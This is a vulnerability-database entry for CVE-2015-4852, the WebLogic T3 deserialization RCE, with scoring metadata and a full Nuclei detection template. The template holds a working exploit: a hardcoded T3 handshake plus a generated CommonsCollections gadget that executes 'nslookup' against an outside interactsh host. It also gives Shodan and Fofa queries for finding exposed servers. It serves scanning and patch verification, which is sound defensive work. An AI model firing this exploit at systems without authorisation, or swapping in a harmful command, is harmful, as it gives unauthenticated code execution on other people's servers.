SecurityContext

CVE-2015-4852: Oracle WebLogic Server - T3 Deserialization Remote Code Execution

Classification

  • Cwe: CWE-502
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.98285
  • Epss percentile: 0.99917
  • Not known: cpe

Metadata

  • Fofa-query: app="weblogic"
  • Max-request: 1
  • Shodan-query: product:"oracle weblogic"
  • Verified: yes

Labels

  • Name: Oracle WebLogic Server - Remote Code Execution
  • Impact: Remote attackers can execute arbitrary commands on the server, leading to full system compromise.
  • Remediation: Update to the latest version of WebLogic Server or apply security patches provided by Oracle.
  • Vulnerability type: insecure_deserialization
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2015-4852
  • Not known: requirements

```yaml

id: CVE-2015-4852

info:

name: Oracle WebLogic Server - T3 Deserialization Remote Code Execution

author: DhiyaneshDk

severity: critical

description: |

Oracle WebLogic Server (WLS Security, versions 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 and earlier) deserializes untrusted Java objects received over the proprietary T3 protocol (default port 7001) without validation. With Apache Commons Collections on the server classpath an unauthenticated attacker sends a crafted serialized gadget chain over T3 and achieves remote code execution. This template performs the T3 handshake, then delivers a CommonsCollections gadget that runs an OS-neutral `nslookup` against the Nuclei interactsh server; a DNS interaction confirms code execution. The payload is pure-JVM/DNS so it works on both Windows and Linux.

impact: |

A remote, unauthenticated attacker runs arbitrary commands as the WebLogic process, fully compromising the server.

remediation: |

Apply the Oracle Critical Patch Update (Oracle Security Alert CVE-2015-4852 / January 2016 CPU) and restrict access to the T3 (7001) port with a connection filter.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2015-4852

- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

- https://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html

- https://github.com/frohoff/ysoserial

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2015-4852

epss-score: 0.98285

epss-percentile: 0.99917

cwe-id: CWE-502

metadata:

verified: true

max-request: 1

shodan-query: product:"oracle weblogic"

fofa-query: app="weblogic"

tags: cve,cve2015,oracle,weblogic,t3,deserialization,rce,oast,kev,vkev

variables:

cmd: "nslookup {{interactsh-url}}"

gadget: '{{generate_java_gadget("commons-collections3.1", cmd, "hex")}}'

t3h: "016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000"

body: "{{t3h}}{{gadget}}"

msglen: '{{to_number(len(hex_decode(body))) + 4}}'

lowhex: '{{substr(concat("0000", dec_to_hex(msglen)), len(concat("0000", dec_to_hex(msglen)))-4)}}'

packet: "0000{{lowhex}}{{body}}"

tcp:

- inputs:

- data: "{{hex_decode('74332031322e322e330a41533a3235350a484c3a31390a4d533a31303030303030300a0a')}}"

read: 1024

name: helo

- data: "{{hex_decode(packet)}}"

host:

- "{{Hostname}}"

port: 7001

read-size: 1024

matchers-condition: and

matchers:

- type: dsl

dsl:

- "regex('HELO:[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+', helo)"

- type: word

part: interactsh_protocol

words:

- "dns"

extractors:

- type: regex

part: helo

group: 1

regex:

- 'HELO:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'

digest: 4b0a00483046022100d697dd688e74b9ce84332335ce176738d937b8d6eff272850aa728115b58b05d022100d309a0999b0c38de67faa75c425f1ec1549091b4f3aca820a27b0054e46c1073:922c64590222798bb761d5b6d8e72950

```